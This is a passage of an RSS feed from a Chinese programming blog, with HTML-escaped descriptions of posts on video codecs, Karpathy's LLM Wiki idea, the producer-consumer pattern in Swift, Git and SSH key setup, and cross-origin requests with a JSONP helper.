&lt;p&gt;&lt;strong&gt;Codec&lt;/strong&gt; = Coder + Decoder，即编码器+解码器的合称。编码器负责将原始音视频数据压缩为更小的格式，解码器负责将压缩数据还原。&lt;/p&gt;
&lt;p&gt;音视频中有两类完全不同的&amp;quot;格式&amp;quot;概念，初学者极易混淆：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;编码格式（Codec）：定义数据怎么压缩
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 视频：H.264、H.265、VP9、AV1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 音频：AAC、MP3、Opus、FLAC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;封装格式（Container）：定义压缩后的数据怎么组织存储
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; MP4、MOV、FLV、MKV、TS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;两者是独立的，可以自由组合:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; MP4容器 + H.264视频 + AAC音频 （最常见的组合）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; MOV容器 + H.265视频 + AAC音频 （iPhone录制默认）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; FLV容器 + H.264视频 + AAC音频 （直播推流常用）
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; MKV容器 + AV1视频 + Opus音频 （新一代免费组合）
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="什么是h264和h265"&gt;什么是H.264和H.265&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;H.264&lt;/strong&gt;（也叫AVC，Advanced Video Coding）是目前使用最广泛的视频编码标准，由ITU-T和ISO/IEC联合制定，2003年发布。它定义了一套将视频帧压缩为比特流的算法规范——包括如何划分图像块、如何预测、如何变换量化等。几乎所有设备和平台都支持H.264硬件解码。&lt;/p&gt;</description></item><item><title>LLM Wiki：Karpathy 提出的"后 RAG 时代"个人知识库范式</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/llm-wiki/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/llm-wiki/</guid><description>&lt;p&gt;2026 年 4 月，Andrej Karpathy 在 GitHub Gist 上发布了一份名为 &lt;code&gt;llm-wiki.md&lt;/code&gt; 的&amp;quot;想法文档&amp;quot;（idea file），短短几天收获了 5000+ 星和 5000+ fork。这篇文档篇幅不长，却被评价为&amp;quot;后 RAG 时代&amp;quot;个人知识管理的一个**分类定义性（category-defining）**框架。&lt;/p&gt;
&lt;p&gt;原文地址：&lt;a href="https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f"&gt;https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Karpathy 写这篇文档的风格非常有意思：它&lt;strong&gt;不是一份实现规范&lt;/strong&gt;，而是一份&amp;quot;可以复制粘贴给你自己的 LLM Agent（Claude Code、Codex、OpenCode/Pi 等）&amp;ldquo;的&lt;strong&gt;模式描述&lt;/strong&gt;。它告诉 Agent 模式的核心是什么，剩下的细节（目录结构、schema 约定、页面格式、工具链）交给用户和 Agent 一起协同演化。&lt;/p&gt;
&lt;p&gt;本文将详细拆解这份文档的核心思想，并结合社区讨论（scale 极限、Zettelkasten 替代方案、反对派观点等）给出一个完整解读。&lt;/p&gt;
&lt;h2 id="一问题起点rag-的每次从零开始"&gt;一、问题起点：RAG 的&amp;quot;每次从零开始&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;大多数人今天使用 LLM 处理文档的方式是 &lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ai/rag/"&gt;RAG（检索增强生成）&lt;/a&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;把一堆文档上传到系统&lt;/li&gt;
&lt;li&gt;查询时 LLM 从原文中检索相关片段&lt;/li&gt;
&lt;li&gt;基于片段合成答案&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;NotebookLM、ChatGPT 文件上传、绝大多数 RAG 系统都是这个模式。&lt;/p&gt;
&lt;h3 id="11-rag-的根本局限没有累积"&gt;1.1 RAG 的根本局限：没有累积&lt;/h3&gt;
&lt;p&gt;Karpathy 点出了 RAG 的一个关键问题：&lt;strong&gt;LLM 每次都在从零开始重新发现知识&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;问一个需要综合 5 篇文档的微妙问题 → LLM 每次都要&lt;strong&gt;重新&lt;/strong&gt;找出相关片段，&lt;strong&gt;重新&lt;/strong&gt;拼接，&lt;strong&gt;重新&lt;/strong&gt;推理&lt;/li&gt;
&lt;li&gt;上一次你问过的关键问题的答案，下一次再问时不会被保留&lt;/li&gt;
&lt;li&gt;跨源的矛盾、交叉引用、细微的关联 —— 每次都要重新建立&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;什么都没有被&amp;quot;沉淀&amp;quot;下来。&lt;/strong&gt; 这就像每次考试都重新读一遍教科书，却从不做笔记、从不整理知识卡片、从不画思维导图。&lt;/p&gt;
&lt;h3 id="12-llm-wiki-的核心差异"&gt;1.2 LLM Wiki 的核心差异&lt;/h3&gt;
&lt;p&gt;LLM Wiki 提出了一个根本性的反转：&lt;/p&gt;</description></item><item><title>生产者消费者模式</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E7%94%9F%E4%BA%A7%E8%80%85%E6%B6%88%E8%B4%B9%E8%80%85%E6%A8%A1%E5%BC%8F/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E7%94%9F%E4%BA%A7%E8%80%85%E6%B6%88%E8%B4%B9%E8%80%85%E6%A8%A1%E5%BC%8F/</guid><description>&lt;h2 id="定义"&gt;定义&lt;/h2&gt;
&lt;p&gt;生产者消费者模式（Producer-Consumer Pattern）是一种并发设计模式，它通过一个共享的缓冲区来解耦生产者和消费者，使得生产者和消费者可以以不同的速度工作，而不需要直接相互依赖。&lt;/p&gt;
&lt;p&gt;生产者负责产生数据并放入缓冲区，消费者从缓冲区中取出数据进行处理。这种模式是多线程编程中最经典的设计模式之一。&lt;/p&gt;
&lt;h2 id="为什么需要生产者消费者模式"&gt;为什么需要生产者消费者模式&lt;/h2&gt;
&lt;p&gt;生产者消费者模式要解决的核心问题是：&lt;strong&gt;如何在生产者和消费者处理速度不一致的情况下，实现高效、安全的数据传递&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题场景&lt;/strong&gt;：假设我们正在开发一个图片处理App，用户选择多张图片后需要进行滤镜处理。图片加载速度快，但滤镜处理速度慢。&lt;/p&gt;
&lt;p&gt;最直接的方式可能是这样：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ImageProcessor&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;processImages&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; urls: [URL]) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; url &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; urls {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 加载图片（快）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; image = loadImage(from: url)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 应用滤镜（慢）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; filtered = applyFilter(to: image)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 保存结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; saveImage(filtered)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;loadImage&lt;/span&gt;(from url: URL) -&amp;gt; UIImage { &lt;span style="color:#75715e"&gt;/* ... */&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;applyFilter&lt;/span&gt;(to image: UIImage) -&amp;gt; UIImage { &lt;span style="color:#75715e"&gt;/* ... */&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;saveImage&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; image: UIImage) { &lt;span style="color:#75715e"&gt;/* ... */&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种方式有什么问题？&lt;/p&gt;</description></item><item><title>版本控制</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/</link><pubDate>Thu, 07 Aug 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/</guid><description>&lt;h2 id="什么是版本控制"&gt;什么是版本控制&lt;/h2&gt;
&lt;p&gt;版本控制是一种系统性的方法，用于管理和跟踪软件开发项目中的代码、文件和资源。它的核心目标是在不同时间点的开发中保持代码的一致性、可追溯性和可维护性。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="为什么要做版本控制"&gt;为什么要做版本控制&lt;/h2&gt;
&lt;p&gt;这个问题可以从定义中的关键词可以看出端倪：不同时间点下的代码一致性、可追溯性、可维护性。这里额外补充一点：当今的互联网开发早已步入敏捷迭代，各种动态化方案层出不穷都有着顺应时代潮流的意思，因此软件开发一定会越来越多地涉及到团队开发，团队之间的协作也一定需要这样一个机制去保障稳定性。&lt;/p&gt;
&lt;h2 id="代码一致性"&gt;代码一致性&lt;/h2&gt;
&lt;p&gt;版本控制系统允许开发人员有效地管理和组织项目中的代码。它跟踪每个文件的历史记录，记录了每个版本的变更，包括谁做了什么修改、何时以及为什么。&lt;/p&gt;
&lt;h2 id="可追溯性"&gt;可追溯性&lt;/h2&gt;
&lt;p&gt;版本控制系统允许为重要的里程碑或发布创建标签（&lt;code&gt;tag&lt;/code&gt;），以便轻松识别和回滚到特定版本。&lt;/p&gt;
&lt;p&gt;并且当某个版本的代码出现问题，版本控制系统允许开发人员轻松地回滚到之前的稳定版本，并在不破坏其余代码的情况下进行修复。&lt;/p&gt;
&lt;h2 id="可维护性"&gt;可维护性&lt;/h2&gt;
&lt;p&gt;开发人员可以创建分支（&lt;code&gt;branch&lt;/code&gt;），这是一个独立的代码副本，用于开发新功能、修复错误或进行实验性工作。然后，这些分支可以与主代码库合并，以实现功能集成。&lt;/p&gt;
&lt;h2 id="团队协作"&gt;团队协作&lt;/h2&gt;
&lt;p&gt;在多人协作的环境中，不同开发者可能同时修改代码。版本控制系统确保不同的修改不会互相冲突，以及如何解决冲突。&lt;/p&gt;
&lt;p&gt;版本控制系统促进了团队之间的协作，可以通过代码审查工具进行代码审查，以确保代码质量和一致性。&lt;/p&gt;
&lt;h2 id="版本控制工具git"&gt;版本控制工具&lt;code&gt;Git&lt;/code&gt;&lt;/h2&gt;
&lt;h2 id="git的安装"&gt;&lt;code&gt;Git&lt;/code&gt;的安装&lt;/h2&gt;
&lt;h3 id="windows"&gt;&lt;code&gt;WIndows&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;访问 &lt;a href="https://link.juejin.cn/?target=https%3A%2F%2Fgit-scm.com%2Fdownload%2F"&gt;Git官网&lt;/a&gt;，选择对应的操作系统下载即可。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;这里下载独立安装包即可&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;点&lt;code&gt;install&lt;/code&gt;就行，会自动安装一个&lt;code&gt;git GUI&lt;/code&gt;工具，但通常不会直接用它&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;下载完成安装即可，输入以下命令验证安装是否成功&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git version
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-05.webp"&gt;&lt;/p&gt;
&lt;h3 id="图形化工具"&gt;图形化工具&lt;/h3&gt;
&lt;h4 id="安装"&gt;安装&lt;/h4&gt;
&lt;p&gt;这里推荐&lt;a href="https://link.juejin.cn/?target=https%3A%2F%2Ftortoisegit.org%2F"&gt;TortoiseGit&lt;/a&gt;这个工具，非常方便。但我觉得Git本身学习成本并不高，&lt;code&gt;GUI&lt;/code&gt;工具更多是为了提升效率，基本的&lt;code&gt;Git&lt;/code&gt;知识点还是需要掌握的。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-06.webp"&gt;&lt;/p&gt;
&lt;p&gt;下载本体&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-07.webp"&gt;&lt;/p&gt;
&lt;p&gt;然后是语言包&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-08.webp"&gt;&lt;/p&gt;
&lt;p&gt;安装时一路&lt;code&gt;next&lt;/code&gt;即可，安装完本体后再安装语言包。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-09.webp"&gt;&lt;/p&gt;
&lt;p&gt;配置好&lt;code&gt;Github&lt;/code&gt;的账户、邮箱、秘钥等，注意配置好了密钥也不会在下述部分显示，可以打开编辑全局进行查看&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-10.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-11.webp"&gt;&lt;/p&gt;
&lt;h4 id="使用"&gt;使用&lt;/h4&gt;
&lt;p&gt;在使用之前先提前补充一个点（后续会详细介绍），&lt;code&gt;Git&lt;/code&gt;有本地仓库和远端仓库的概念，通常支持&lt;code&gt;HTTPS&lt;/code&gt;和&lt;code&gt;SSH&lt;/code&gt;两种协议进行关联，两种方式优缺点也十分明显：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HTTPS&lt;/code&gt;：无需额外配置，但是在每次连接远端仓库时需要输入账号密码进行校验。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SSH&lt;/code&gt;：生成一组密钥对，需要本地进行配置，好处是配置好后每次连接远端仓库时会自动比较密钥对，无需额外校验。关于&lt;code&gt;SSH&lt;/code&gt;详细可以参考这篇文章&lt;a href="https://juejin.cn/post/7111881008630202398"&gt;ssh-远程登录协议&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为了一劳永逸，我们这里配置下&lt;code&gt;SSH&lt;/code&gt;，首先打开&lt;code&gt;Git bash&lt;/code&gt; &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-12.webp"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# 输入下列命令，最后一个参数是您的邮箱
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ ssh-keygen -t rsa -C yourEmail.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;可以看到密钥对已经生成了&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-13.webp"&gt;&lt;/p&gt;
&lt;p&gt;进入上述目录，注意&lt;code&gt;.ssh&lt;/code&gt;文件夹默认是隐藏的，直接访问路径就行&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-14.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-15.webp"&gt;&lt;/p&gt;
&lt;p&gt;以&lt;code&gt;Github&lt;/code&gt;为例，配置公钥&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-16.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-17.webp"&gt;&lt;/p&gt;
&lt;p&gt;创建一个&lt;code&gt;Demo&lt;/code&gt;项目，平时学习的话就创建公有项目就行&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-18.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-19.webp"&gt;&lt;/p&gt;
&lt;p&gt;复制一下我们的项目链接&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-007/image-20.webp"&gt;&lt;/p&gt;
&lt;p&gt;选取一个你喜欢的目录作为本地工作区，然后按鼠标右键&lt;/p&gt;</description></item><item><title>跨域相关</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-007/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-007/</guid><description>&lt;h2 id="一什么是跨域"&gt;一、什么是跨域？&lt;/h2&gt;
&lt;h3 id="1什么是同源策略及其限制内容"&gt;1.什么是同源策略及其限制内容？&lt;/h3&gt;
&lt;p&gt;同源策略是一种约定，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，浏览器很容易受到XSS、CSRF等攻击。所谓同源是指&amp;quot;协议+域名+端口&amp;quot;三者相同，即便两个不同的域名指向同一个ip地址，也非同源。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-007/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;同源策略限制内容有：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cookie、LocalStorage、IndexedDB 等存储性内容&lt;/li&gt;
&lt;li&gt;DOM 节点&lt;/li&gt;
&lt;li&gt;AJAX 请求发送后，结果被浏览器拦截了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但是有三个标签是允许跨域加载资源：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;img src=XXX&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;link href=XXX&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;script src=XXX&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2常见跨域场景"&gt;2.常见跨域场景&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;当协议、子域名、主域名、端口号中任意一个不相同时，都算作不同域&lt;/strong&gt;。不同域之间相互请求资源，就算作“跨域”。常见跨域场景如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-007/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;特别说明两点：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一：如果是协议和端口造成的跨域问题“前台”是无能为力的。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二：在跨域问题上，仅仅是通过“URL的首部”来识别而不会根据域名对应的IP地址是否相同来判断。“URL的首部”可以理解为“协议, 域名和端口必须匹配”&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这里你或许有个疑问：&lt;strong&gt;请求跨域了，那么请求到底发出去没有？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;跨域并不是请求发不出去，请求能发出去，服务端能收到请求并正常返回结果，只是结果被浏览器拦截了&lt;/strong&gt;。你可能会疑问明明通过表单的方式可以发起跨域请求，为什么 Ajax 就不会?因为归根结底，跨域是为了阻止用户读取到另一个域名下的内容，Ajax 可以获取响应，浏览器认为这不安全，所以拦截了响应。但是表单并不会获取新的内容，所以可以发起跨域请求。同时也说明了跨域并不能完全阻止 CSRF，因为请求毕竟是发出去了。&lt;/p&gt;
&lt;h2 id="二跨域解决方案"&gt;二、跨域解决方案&lt;/h2&gt;
&lt;h3 id="1jsonp"&gt;1.jsonp&lt;/h3&gt;
&lt;h4 id="1-jsonp原理"&gt;1) JSONP原理&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;利用 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 标签没有跨域限制的漏洞，网页可以得到从其他来源动态产生的 JSON 数据。JSONP请求一定需要对方的服务器做支持才可以。&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="2-jsonp和ajax对比"&gt;2) JSONP和AJAX对比&lt;/h4&gt;
&lt;p&gt;JSONP和AJAX相同，都是客户端向服务器端发送请求，从服务器端获取数据的方式。但AJAX属于同源策略，JSONP属于非同源策略（跨域请求）&lt;/p&gt;
&lt;h4 id="3-jsonp优缺点"&gt;3) JSONP优缺点&lt;/h4&gt;
&lt;p&gt;JSONP优点是简单兼容性好，可用于解决主流浏览器的跨域数据访问的问题。&lt;strong&gt;缺点是仅支持get方法具有局限性,不安全可能会遭受XSS攻击。&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="4-jsonp的实现流程"&gt;4) JSONP的实现流程&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;声明一个回调函数，其函数名(如show)当做参数值，要传递给跨域请求数据的服务器，函数形参为要获取目标数据(服务器返回的data)。&lt;/li&gt;
&lt;li&gt;创建一个&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签，把那个跨域的API数据接口地址，赋值给script的src,还要在这个地址中向服务器传递该函数名（可以通过问号传参:?callback=show）。&lt;/li&gt;
&lt;li&gt;服务器接收到请求后，需要进行特殊的处理：把传递进来的函数名和它需要给你的数据拼接成一个字符串,例如：传递进去的函数名是show，它准备好的数据是&lt;code&gt;show('我不爱你')&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;最后服务器把准备的数据通过HTTP协议返回给客户端，客户端再调用执行之前声明的回调函数（show），对返回的数据进行操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在开发中可能会遇到多个 JSONP 请求的回调函数名是相同的，这时候就需要自己封装一个 JSONP函数。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// index.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function jsonp({ url, params, callback }) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; return new Promise((resolve, reject) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; let script = document.createElement(&amp;#39;script&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; window[callback] = function(data) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; resolve(data)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.body.removeChild(script)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; params = { ...params, callback } // wd=b&amp;amp;callback=show
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; let arrs = []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; for (let key in params) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; arrs.push(`${key}=${params[key]}`)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; script.src = `${url}?${arrs.join(&amp;#39;&amp;amp;&amp;#39;)}`
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.body.appendChild(script)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jsonp({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; url: &amp;#39;http://localhost:3000/say&amp;#39;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; params: { wd: &amp;#39;Iloveyou&amp;#39; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; callback: &amp;#39;show&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}).then(data =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log(data)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
